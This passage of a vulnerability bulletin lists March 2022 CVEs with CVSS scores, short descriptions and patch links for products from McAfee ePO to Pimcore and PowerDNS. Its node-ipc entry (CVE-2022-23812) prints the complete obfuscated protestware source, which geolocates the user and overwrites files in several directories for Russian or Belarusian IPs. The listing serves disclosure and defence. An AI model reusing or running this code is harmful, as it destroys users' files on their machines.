Improper Restriction of XML External Entity Reference	23-Mar-22	3.8	A XML Extended entity vulnerability in McAfee Enterprise ePolicy Orchestrator (ePO) prior to 5.10 Update 13 allows a remote administrator attacker to upload a malicious XML file through the extension import functionality. The impact is limited to some access to confidential information and some ability to alter data. **CVE ID : CVE-2022-0861**	https://kc.mcafee.com/corporate/index?page=content&id=SB10379	A-MCA-EPOL-070422/134

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Insufficiently Protected Credentials	23-Mar-22	5.3	A lack of password change protection vulnerability in a depreciated API of McAfee Enterprise ePolicy Orchestrator (ePO) prior to 5.10 Update 13 allows a remote attacker to change the password of a compromised session without knowing the existing user's password. This functionality was removed from the User Interface in ePO 10 and the API has now been disabled. Other protection is in place to reduce the likelihood of this being successful through sending a link to a logged in user. **CVE ID : CVE-2022-0862**	https://kc.mcafee.com/corporate/index?page=content&id=SB10379	A-MCA-EPOL-070422/135
Vendor: Microweber					
Product: microweber					
Integer Overflow or Wraparound	22-Mar-22	7.5	Able to create an account with long password leads to memory corruption / Integer Overflow in GitHub repository microweber/microweber prior to 1.2.12. **CVE ID : CVE-2022-1036**	https://huntr.dev/bounties/db615581-d5a9-4ca5-a3e9-7a39eceaa424, https://github.com/microweber/microweber/commit/82be4f0b4729be870cc	A-MIC-MICR-070422/136

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
				efdae99a04833f134aa6a	
Vendor: miniorange					
Product: google_authenticator					
Missing Authorization	21-Mar-22	8.1	The miniOrange's Google Authenticator WordPress plugin before 5.5 does not have proper authorisation and CSRF checks when handling the reconfigureMethod, and does not validate the parameters passed to it properly. As a result, unauthenticated users could delete arbitrary options from the blog, making it unusable. **CVE ID : CVE-2022-0229**	N/A	A-MIN-GOOG-070422/137
Vendor: Misp					
Product: misp					
N/A	18-Mar-22	7.8	An issue was discovered in MISP before 2.4.156. app/View/Users/terms.ctp allows Local File Inclusion via the custom terms file setting. **CVE ID : CVE-2022-27243**	https://github.com/MISP/MISP/commit/8cc93687dcd68e1774b55a5c4e8125c0c8ddc288	A-MIS-MISP-070422/138
Improper Neutralization of Input During	18-Mar-22	4.8	An issue was discovered in MISP before 2.4.156. A malicious site administrator could	https://github.com/MISP/MISP/commit/61d4d3670593b78e4	A-MIS-MISP-070422/139

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Web Page Generation ('Cross-site Scripting')			store an XSS payload in the custom auth name. This would be executed each time the administrator modifies a user. **CVE ID : CVE-2022-27244**	dab7a11eb620b7a372f30e6	
Server-Side Request Forgery (SSRF)	18-Mar-22	8.8	An issue was discovered in MISP before 2.4.156. app/Model/Server.php does not restrict generateServerSettings to the CLI. This could lead to SSRF. **CVE ID : CVE-2022-27245**	https://github.com/MISP/MISP/commit/8dcf414340c5ddedfebbc972601646d38e1d0717	A-MIS-MISP-070422/140
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	18-Mar-22	6.1	An issue was discovered in MISP before 2.4.156. An SVG org logo (which may contain JavaScript) is not forbidden by default. **CVE ID : CVE-2022-27246**	https://github.com/MISP/MISP/commit/08a07a38ae81f3b55d81cfcd4501ac1eb1c9c4dc	A-MIS-MISP-070422/141
Vendor: mitmproxy					
Product: mitmproxy					
Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')	21-Mar-22	9.8	mitmproxy is an interactive, SSL/TLS-capable intercepting proxy. In mitmproxy 7.0.4 and below, a malicious client or server is able to perform HTTP request smuggling attacks through mitmproxy. This means that a	https://mitmproxy.org/posts/releases/mitmproxy8/, https://github.com/mitmproxy/mitmproxy/security/advisories/GHSA-gcx2-gvj7-pxv3, https://github.com/mitmproxy	A-MIT-MITM-070422/142

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			malicious client/server could smuggle a request/response through mitmproxy as part of another request/response's HTTP message body. While mitmproxy would only see one request, the target server would see multiple requests. A smuggled request is still captured as part of another request's body, but it does not appear in the request list and does not go through the usual mitmproxy event hooks, where users may have implemented custom access control checks or input sanitization. Unless mitmproxy is used to protect an HTTP/1 service, no action is required. The vulnerability has been fixed in mitmproxy 8.0.0 and above. There are currently no known workarounds. **CVE ID : CVE-2022-24766**	/mitmproxy/commit/b06fb6d157087d526bd02e7aadbe37c56865c71b	
Vendor: money_transfer_management_system_project					
Product: money_transfer_management_system					

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Mar-22	6.1	Money Transfer Management System Version 1.0 allows an attacker to inject JavaScript code in the URL and then trick a user into visit the link in order to execute JavaScript code. **CVE ID : CVE-2022-25221**	N/A	A-MON-MONE-070422/143
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	23-Mar-22	9.8	Money Transfer Management System Version 1.0 allows an unauthenticated user to inject SQL queries in 'admin/maintenance/manage_branch.php' and 'admin/maintenance/manage_fee.php' via the 'id' parameter. **CVE ID : CVE-2022-25222**	N/A	A-MON-MONE-070422/144
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	23-Mar-22	4.3	Money Transfer Management System Version 1.0 allows an authenticated user to inject SQL queries in 'mtms/admin/?page=transaction/view_details' via the 'id' parameter. **CVE ID : CVE-2022-25223**	N/A	A-MON-MONE-070422/145
Vendor: Moodle					
Product: moodle					
Improper Neutralizat	25-Mar-22	8.8	An SQL injection risk was identified in	N/A	A-MOO-MOOD-070422/146

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
ion of Special Elements used in an SQL Command ('SQL Injection')			Badges code relating to configuring criteria. Access to the relevant capability was limited to teachers and managers by default. **CVE ID : CVE-2022-0983**		
Vendor: mruby					
Product: mruby					
Use After Free	26-Mar-22	8.2	User after free in mrb_vm_exec in GitHub repository mruby/mruby prior to 3.2. **CVE ID : CVE-2022-1071**	https://huntr.dev/bounties/6597ece9-07af-415b-809b-919ce0a17cf3, https://github.com/mruby/mruby/commit/aaa28a508903041dd7399d4159a8ace9766b022f	A-MRU-MRUB-070422/147
Vendor: navercorp					
Product: whale					
N/A	17-Mar-22	6.1	The devtools API in Whale browser before 3.12.129.18 allowed extension developers to inject arbitrary JavaScript into the extension store web page via devtools.inspectedWindow, leading to extensions downloading and uploading when users open the developer tool. **CVE ID : CVE-2022-24072**	https://cve.naver.com/detail/cve-2022-24072	A-NAV-WHAL-070422/148

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	17-Mar-22	7.1	The Web Request API in Whale browser before 3.12.129.18 allowed to deny access to the extension store or redirect to any URL when users access the store. **CVE ID : CVE-2022-24073**	https://cve.naver.com/detail/cve-2022-24073	A-NAV-WHAL-070422/149
Incorrect Permission Assignment for Critical Resource	17-Mar-22	9.8	Whale Bridge, a default extension in Whale browser before 3.12.129.18, allowed to receive any SendMessage request from the content script itself that could lead to controlling Whale Bridge if the rendering process compromises. **CVE ID : CVE-2022-24074**	https://cve.naver.com/detail/cve-2022-24074	A-NAV-WHAL-070422/150
Files or Directories Accessible to External Parties	17-Mar-22	6.5	Whale browser before 3.12.129.18 allowed extensions to replace JavaScript files of the HWP viewer website which could access to local HWP files. When the HWP files were opened, the replaced script could read the files. **CVE ID : CVE-2022-24075**	https://cve.naver.com/detail/cve-2022-24075	A-NAV-WHAL-070422/151
Vendor: Netapp					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: snapcenter					
Cleartext Storage of Sensitive Information	16-Mar-22	5.5	SnapCenter versions prior to 4.5 are susceptible to a vulnerability which could allow a local authenticated attacker to discover plaintext HANA credentials. **CVE ID : CVE-2022-23234**	https://security.netapp.com/advisory/ntap-20220228-0001/	A-NET-SNAP-070422/152
Vendor: Ninjaforms					
Product: ninja_forms					
Unrestricted Upload of File with Dangerous Type	23-Mar-22	9.8	The Ninja Forms - File Uploads Extension WordPress plugin is vulnerable to arbitrary file uploads due to insufficient input file type validation found in the ~/includes/ajax/controllers/uploads.php file which can be bypassed making it possible for unauthenticated attackers to upload malicious files that can be used to obtain remote code execution, in versions up to and including 3.3.0 **CVE ID : CVE-2022-0888**	https://gist.github.com/Xib3rR4dAr/5f0accbbfdee279c68ed144da9cd8607	A-NIN-NINJ-070422/153
Improper Neutralization of	23-Mar-22	6.1	The Ninja Forms - File Uploads Extension	https://ninjaforms.com/extensions/file-	A-NIN-NINJ-070422/154

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Input During Web Page Generation ('Cross-site Scripting')			WordPress plugin is vulnerable to reflected cross-site scripting due to missing sanitization of the files filename parameter found in the ~/includes/ajax/controllers/uploads.php file which can be used by unauthenticated attackers to add malicious web scripts to vulnerable WordPress sites, in versions up to and including 3.3.12. **CVE ID : CVE-2022-0889**	uploads/?changelog=1/#:~:text=3.3.13%20(30%20November%202021)	
Vendor: node-ipic_project					
Product: node-ipic					
Improper Control of Generation of Code ('Code Injection')	16-Mar-22	9.8	This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar	https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f81ab08352038b2204f0e7633449580, https://github.com/RIAEvangelist/node-ipc/issues/233, https://snyk.io/vuln/SNYK-JS-NODEIPC-2426370, https://github.com/RIAEvangelist/node-ipc/issues/236	A-NOD-NODE-070422/155

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
		🟥	package that includes potentially undesired behavior. Malicious Code: **Note:** Don't run it! js import u from "path"; import a from "fs"; import o from "https"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString("utf8"), function (t) { t.on("data", function (t) { const n = Buffer.from("Li8=", "base64"); const o = Buffer.from("Li4v", "base64"); const r = Buffer.from("Li4vLi4v", "base64"); const f = Buffer.from("Lw==", "base64"); const c = Buffer.from("Y291bnRyeV9uYW1l", "base64"); const e = Buffer.from("cnVzc2lh", "base64"); const i		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			= Buffer.from("YmVsYXJ1cw==", "base64"); try { const s = JSON.parse(t.toString("utf8")); const u = s[c.toString("utf8")].toLowerCase(); const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8")); // checks if country is Russia or Belarus if (a) { h(n.toString("utf8")); h(o.toString("utf8")); h(r.toString("utf8")); h(f.toString("utf8")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = "", o = "") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from("4p2k77iP", "base64"); for (var e = 0; e < r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length > 0 ? f.push(...s) : null; } else if (i.indexOf(o)		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID

			>= 0) { try { a.writeFile(i, c.toString("utf8"), function () {}); // overwrites file with ?? } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };
			CVE ID : CVE-2022-23812		

Vendor: node-lmdb_project					
Product: node-lmdb					
N/A	16-Mar-22	7.5	The package node-lmdb before 0.9.7 are vulnerable to Denial of Service (DoS) when defining a non-invokable ToString value, which will cause a crash during type check. **CVE ID : CVE-2022-21164**	https://github.com/Venemo/node-lmdb/commit/97760104c0fd311206b88aecd91fa1f59fe2b85a, https://snyk.io/vuln/SNYK-JS-NODELMDB-2400723	A-NOD-NODE-070422/156
Vendor: notable					
Product: notable					
Improper Control of Generation of Code ('Code Injection')	27-Mar-22	9.8	Notable v1.8.4 does not filter text editing, allowing attackers to execute arbitrary code via a crafted payload injected into the Title text field. **CVE ID : CVE-2022-26198**	N/A	A-NOT-NOTA-070422/157
Vendor: nothings					
Product: stb_truetype.h					
Out-of-bounds Write	17-Mar-22	7.5	stb_truetype.h v1.26 was discovered to contain a heap-	N/A	A-NOT-STB_-070422/158

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			buffer-overflow via the function ttUSHORT() at stb_truetype.h. **CVE ID : CVE-2022-25514**		
Out-of-bounds Write	17-Mar-22	7.5	stb_truetype.h v1.26 was discovered to contain a heap-buffer-overflow via the function ttULONG() at stb_truetype.h. **CVE ID : CVE-2022-25515**	N/A	A-NOT-STB_-070422/159
Out-of-bounds Write	17-Mar-22	7.5	stb_truetype.h v1.26 was discovered to contain a heap-buffer-overflow via the function stbtt__find_table at stb_truetype.h. **CVE ID : CVE-2022-25516**	N/A	A-NOT-STB_-070422/160
Vendor: nozominetworks					
Product: cmc					
Improper Input Validation	24-Mar-22	7.2	Improper Input Validation vulnerability in custom report logo upload in Nozomi Networks Guardian, and CMC allows an authenticated attacker with admin or report manager roles to execute unattended commands on the appliance using web server user	https://security.nozominetworks.com/NN-2022:2-01	A-NOZ-CMC-070422/161

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			privileges. This issue affects: Nozomi Networks Guardian versions prior to 22.0.0. Nozomi Networks CMC versions prior to 22.0.0. **CVE ID : CVE-2022-0550**		
Improper Input Validation	24-Mar-22	7.2	Improper Input Validation vulnerability in project file upload in Nozomi Networks Guardian and CMC allows an authenticated attacker with admin or import manager roles to execute unattended commands on the appliance using web server user privileges. This issue affects: Nozomi Networks Guardian versions prior to 22.0.0. Nozomi Networks CMC versions prior to 22.0.0. **CVE ID : CVE-2022-0551**	https://security.nozominetworks.com/NN-2022:2-02	A-NOZ-CMC-070422/162
Product: guardian					
Improper Input Validation	24-Mar-22	7.2	Improper Input Validation vulnerability in custom report logo upload in Nozomi Networks Guardian,	https://security.nozominetworks.com/NN-2022:2-01	A-NOZ-GUAR-070422/163

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			and CMC allows an authenticated attacker with admin or report manager roles to execute unattended commands on the appliance using web server user privileges. This issue affects: Nozomi Networks Guardian versions prior to 22.0.0. Nozomi Networks CMC versions prior to 22.0.0. **CVE ID : CVE-2022-0550**		
Improper Input Validation	24-Mar-22	7.2	Improper Input Validation vulnerability in project file upload in Nozomi Networks Guardian and CMC allows an authenticated attacker with admin or import manager roles to execute unattended commands on the appliance using web server user privileges. This issue affects: Nozomi Networks Guardian versions prior to 22.0.0. Nozomi Networks CMC versions prior to 22.0.0.	https://security.nozominetworks.com/NN-2022:2-02	A-NOZ-GUAR-070422/164

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-0551		
Vendor: nvida					
Product: federated_learning_application_runtime_environment					
Allocation of Resources Without Limits or Throttling	17-Mar-22	7.5	NVIDIA FLARE contains a vulnerability in the admin interface, where an un-authorized attacker can cause Allocation of Resources Without Limits or Throttling, which may lead to cause system unavailable. **CVE ID : CVE-2022-21822**	https://github.com/NVIDIA/NVFlare/security/advisories/GHSA-jx8f-cpx7-fv47	A-NVI-FEDE-070422/165
Vendor: Nvidia					
Product: data_center_gpu_manager					
Improper Input Validation	24-Mar-22	6.3	NVIDIA DCGM contains a vulnerability in nvhostengine, where a network user can cause detection of error conditions without action, which may lead to limited code execution, some denial of service, escalation of privileges, and limited impacts to both data confidentiality and integrity. **CVE ID : CVE-2022-21820**	https://nvidia.custhelp.com/app/answers/detail/a_id/5328	A-NVI-DATA-070422/166
Vendor: online_project_time_management_system_project					

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: online_project_time_management_system					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	16-Mar-22	9.8	Online Project Time Management System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter in the function save_employee at /ptms/classes/Users.php. **CVE ID : CVE-2022-26293**	N/A	A-ONL-ONLI-070422/167
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Mar-22	5.4	A stored cross-site scripting (XSS) vulnerability in /ptms/?page=user of Online Project Time Management System v1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the user name field. **CVE ID : CVE-2022-26295**	N/A	A-ONL-ONLI-070422/168
Vendor: Open-emr					
Product: openemr					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Mar-22	5.4	A stored cross-site scripting (XSS) issue was discovered in the OpenEMR Hospital Information Management System version 6.0.0. **CVE ID : CVE-2022-24643**	https://www.open-emr.org/	A-OPE-OPEN-070422/169
Exposure of	23-Mar-22	4.3	OpenEMR v6.0.0 was discovered to	https://www.open-emr.org/	A-OPE-OPEN-070422/170

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Resource to Wrong Sphere			contain an incorrect access control issue. **CVE ID : CVE-2022-25041**		
Vendor: Opensuse					
Product: cscreen					
Insecure Temporary File	16-Mar-22	5.5	A Insecure Temporary File vulnerability in cscreen of openSUSE Factory allows local attackers to cause DoS for cscreen and a system DoS for non-default systems. This issue affects: openSUSE Factory cscreen version 1.2-1.3 and prior versions. **CVE ID : CVE-2022-21945**	https://bugzilla.suse.com/show_bug.cgi?id=1196446	A-OPE-CSCR-070422/171
Improper Privilege Management	16-Mar-22	7.8	A Improper Privilege Management vulnerability in the sudoers configuration in cscreen of openSUSE Factory allows any local users to gain the privileges of the tty and dialout groups and access and manipulate any running cscreen seesion. This issue affects: openSUSE Factory cscreen version 1.2-1.3 and prior versions.	https://bugzilla.suse.com/show_bug.cgi?id=1196451	A-OPE-CSCR-070422/172

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-21946		
Product: factory					
Insecure Temporary File	16-Mar-22	5.5	A Insecure Temporary File vulnerability in cscreen of openSUSE Factory allows local attackers to cause DoS for cscreen and a system DoS for non-default systems. This issue affects: openSUSE Factory cscreen version 1.2-1.3 and prior versions. **CVE ID : CVE-2022-21945**	https://bugzilla.suse.com/show_bug.cgi?id=1196446	A-OPE-FACT-070422/173
Improper Privilege Management	16-Mar-22	7.8	A Improper Privilege Management vulnerability in the sudoers configuration in cscreen of openSUSE Factory allows any local users to gain the privileges of the tty and dialout groups and access and manipulate any running cscreen seesion. This issue affects: openSUSE Factory cscreen version 1.2-1.3 and prior versions. **CVE ID : CVE-2022-21946**	https://bugzilla.suse.com/show_bug.cgi?id=1196451	A-OPE-FACT-070422/174
Vendor: Openvpn					
Product: openvpn					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Authentication	18-Mar-22	9.8	OpenVPN 2.1 until v2.4.12 and v2.5.6 may enable authentication bypass in external authentication plug-ins when more than one of them makes use of deferred authentication replies, which allows an external user to be granted access with only partially correct credentials. **CVE ID : CVE-2022-0547**	https://openvpn.net/community-downloads/, https://community.openvpn.net/openvpn/wiki/SecurityAnnouncements, https://community.openvpn.net/openvpn/wiki/CVE-2022-0547	A-OPE-OPEN-070422/175
Vendor: Openwebanalytics					
Product: open_web_analytics					
Improper Privilege Management	18-Mar-22	9.8	Open Web Analytics (OWA) before 1.7.4 allows an unauthenticated remote attacker to obtain sensitive user information, which can be used to gain admin privileges by leveraging cache hashes. This occurs because files generated with '<?php (instead of the intended "<?php sequence) aren't handled by the PHP interpreter. **CVE ID : CVE-2022-24637**	https://devel0pment.de/?p=2494, https://github.com/Open-Web-Analytics/Open-Web-Analytics/releases/tag/1.7.4	A-OPE-OPEN-070422/176
Vendor: Otrs					
Product: otrs					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	21-Mar-22	5.4	Malicious translator is able to inject JavaScript code in few translatable strings (where HTML is allowed). The code could be executed in the Package manager. This issue affects: OTRS AG OTRS 7.0.x version: 7.0.32 and prior versions, 8.0.x version: 8.0.19 and prior versions. **CVE ID : CVE-2022-0475**	https://otrs.com/release-notes/otrs-security-advisory-2022-05/	A-OTR-OTRS-070422/177
Exposure of Sensitive Information to an Unauthorized Actor	21-Mar-22	4.3	Accounted time is shown in the Ticket Detail View (External Interface), even if ExternalFrontend::TicketDetailView###AccountedTimeDisplay is disabled. **CVE ID : CVE-2022-1004**	https://otrs.com/release-notes/otrs-security-advisory-2022-06/	A-OTR-OTRS-070422/178
Vendor: paramiko					
Product: paramiko					
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	17-Mar-22	5.9	In Paramiko before 2.10.1, a race condition (between creation and chmod) in the write_private_key_file function could allow unauthorized information disclosure.	https://www.paramiko.org/changelog.html	A-PAR-PARA-070422/179

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-24302		
Vendor: passwork					
Product: passwork					
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	23-Mar-22	4.3	Passwork On-Premise Edition before 4.6.13 allows migration/download ExportFile Directory Traversal (to read files). **CVE ID : CVE-2022-25266**	https://passwork.me	A-PAS-PASS-070422/180
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	23-Mar-22	8.8	Passwork On-Premise Edition before 4.6.13 allows migration/uploadExportFile Directory Traversal (to upload files). **CVE ID : CVE-2022-25267**	https://passwork.me	A-PAS-PASS-070422/181
Cross-Site Request Forgery (CSRF)	23-Mar-22	8.8	Passwork On-Premise Edition before 4.6.13 allows CSRF via the groups, password, and history subsystems. **CVE ID : CVE-2022-25268**	https://passwork.me	A-PAS-PASS-070422/182
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Mar-22	6.1	Passwork On-Premise Edition before 4.6.13 has multiple XSS issues. **CVE ID : CVE-2022-25269**	https://passwork.me	A-PAS-PASS-070422/183
Vendor: Pimcore					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: data-hub					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	24-Mar-22	4.8	Cross-site Scripting (XSS) - Stored in GitHub repository pimcore/data-hub prior to 1.2.4. **CVE ID : CVE-2022-0955**	https://github.com/pimcore/data-hub/commit/15d5b57af2466eebd3bbc531ead5dafa35d0a36e, https://huntr.dev/bounties/708971a6-1e6c-4c51-a411-255caeba51df	A-PIM-DATA-070422/184
Product: pimcore					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Mar-22	5.4	Cross-site Scripting (XSS) - Stored in GitHub repository pimcore/pimcore prior to 10.4.0. **CVE ID : CVE-2022-0704**	https://huntr.dev/bounties/4142a8b4-b439-4328-aaa3-52f6fedfd0a6, https://github.com/pimcore/pimcore/commit/6e0922c5b2959ac1b48500ac508d8fc5a97286f9	A-PIM-PIMC-070422/185
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Mar-22	5.4	Cross-site Scripting (XSS) - Stored in GitHub repository pimcore/pimcore prior to 10.4.0. **CVE ID : CVE-2022-0705**	https://huntr.dev/bounties/0e1b6836-e5b5-4e47-b9ab-2f6a4790ee7b, https://github.com/pimcore/pimcore/commit/6e0922c5b2959ac1b48500ac508d8fc5a97286f9	A-PIM-PIMC-070422/186
Improper Neutralization of Input	16-Mar-22	5.4	Cross-site Scripting (XSS) - Stored in GitHub repository	https://huntr.dev/bounties/b242edb1-b036-4dca-9b53-	A-PIM-PIMC-070422/187

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
During Web Page Generation ('Cross-site Scripting')			pimcore/pimcore prior to 10.4.0. **CVE ID : CVE-2022-0911**	891494dd7a77, https://github.com/pimcore/pimcore/commit/6e0922c5b2959ac1b48500ac508d8fc5a97286f9	
Vendor: Piwigo					
Product: piwigo					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	18-Mar-22	8.8	Piwigo v12.2.0 was discovered to contain a SQL injection vulnerability via pwg.users.php. **CVE ID : CVE-2022-26266**	N/A	A-PIW-PIWI-070422/188
Exposure of Resource to Wrong Sphere	18-Mar-22	7.5	Piwigo v12.2.0 was discovered to contain an information leak via the action parameter in /admin/maintenance_actions.php. **CVE ID : CVE-2022-26267**	N/A	A-PIW-PIWI-070422/189
Vendor: Pluck-cms					
Product: pluck					
Unrestricted Upload of File with Dangerous Type	18-Mar-22	7.2	In Pluck 4.7.16, an admin user can use the theme upload functionality at /admin.php?action=themeinstall to perform remote code execution.	N/A	A-PLU-PLUC-070422/190

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-26965		
Vendor: pnpm					
Product: pnpm					
Untrusted Search Path	21-Mar-22	8.8	PNPM v6.15.1 and below was discovered to contain an untrusted search path which causes the application to behave in unexpected ways when users execute PNPM commands in a directory containing malicious content. This vulnerability occurs when the application is ran on Windows OS. **CVE ID : CVE-2022-26183**	https://github.com/pnpm/pnpm/commit/04b7f60861ddee8331e50d70e193d1e701abeefb	A-PNP-PNPM-070422/191
Vendor: port389					
Product: 389-ds-base					
N/A	16-Mar-22	7.5	A vulnerability was discovered in the 389 Directory Server that allows an unauthenticated attacker with network access to the LDAP port to cause a denial of service. The denial of service is triggered by a single message sent over a TCP connection, no bind or other authentication is	N/A	A-POR-389--070422/192

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			required. The message triggers a segmentation fault that results in slapd crashing. **CVE ID : CVE-2022-0918**		
Vendor: post-loader_project					
Product: post-loader					
Improper Control of Generation of Code ('Code Injection')	17-Mar-22	9.8	The package post-loader from 0.0.0 are vulnerable to Arbitrary Code Execution which uses a markdown parser in an unsafe way so that any javascript code inside the markdown input files gets evaluated and executed. **CVE ID : CVE-2022-0748**	N/A	A-POS-POST-070422/193
Vendor: Postgresql					
Product: pgadmin_4					
Unrestricted Upload of File with Dangerous Type	16-Mar-22	6.5	A malicious, but authorised and authenticated user can construct an HTTP request using their existing CSRF token and session cookie to manually upload files to any location that the operating system user account under which pgAdmin is running has permission to write.	N/A	A-POS-PGAD-070422/194

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-0959		
Vendor: Powerdns					
Product: authoritative_server					
N/A	25-Mar-22	7.5	In PowerDNS Authoritative Server before 4.4.3, 4.5.x before 4.5.4, and 4.6.x before 4.6.1 and PowerDNS Recursor before 4.4.8, 4.5.x before 4.5.8, and 4.6.x before 4.6.1, insufficient validation of an IXFR end condition causes incomplete zone transfers to be handled as successful transfers. **CVE ID : CVE-2022-27227**	https://docs.powerdns.com/recursor/security-advisories/powerdns-advisory-2022-01.html, https://doc.powerdns.com/authoritative/security-advisories/powerdns-advisory-2022-01.html, https://docs.powerdns.com/recursor/security-advisories/index.html	A-POW-AUTH-070422/195
Product: recursor					
N/A	25-Mar-22	7.5	In PowerDNS Authoritative Server before 4.4.3, 4.5.x before 4.5.4, and 4.6.x before 4.6.1 and PowerDNS Recursor before 4.4.8, 4.5.x before 4.5.8, and 4.6.x before 4.6.1, insufficient validation of an IXFR end condition causes incomplete zone transfers to be handled as successful transfers.	https://docs.powerdns.com/recursor/security-advisories/powerdns-advisory-2022-01.html, https://doc.powerdns.com/authoritative/security-advisories/powerdns-advisory-2022-01.html, https://docs.powerdns.com/recursor/security	A-POW-RECU-070422/196

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-27227	-advisories/index.html	
Vendor: pricetable_project					
Product: price_table					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	18-Mar-22	5.4	Authenticated (contributor of higher user role) Stored Cross-Site Scripting (XSS) vulnerability discovered in WordPress Price Table plugin (versions <= 0.2.2). **CVE ID : CVE-2022-25604**	https://patchstack.com/database/vulnerability/pricetable/wordpress-price-table-plugin-0-2-2-stored-cross-site-scripting-xss-vulnerability, https://wordpress.org/plugins/pricetable/	A-PRI-PRIC-070422/197
Vendor: primekey					
Product: signserver					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	21-Mar-22	4.8	An XSS was identified in the Admin Web interface of PrimeKey SignServer before 5.8.1. JavaScript code must be used in a worker name before a Generate CSR request. Only an administrator can update a worker name. **CVE ID : CVE-2022-26494**	https://doc.primekey.com/signserver, https://support.primekey.com/news/posts/signserver-security-advisory-cross-site-scripting-issue-in-admin-web	A-PRI-SIGN-070422/198
Vendor: PTC					
Product: axeda_agent					
Use of Hard-	16-Mar-22	8.8	Axeda agent (All versions) and Axeda Desktop Server for	https://www.ptc.com/en/supp	A-PTC-AXED-070422/199

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
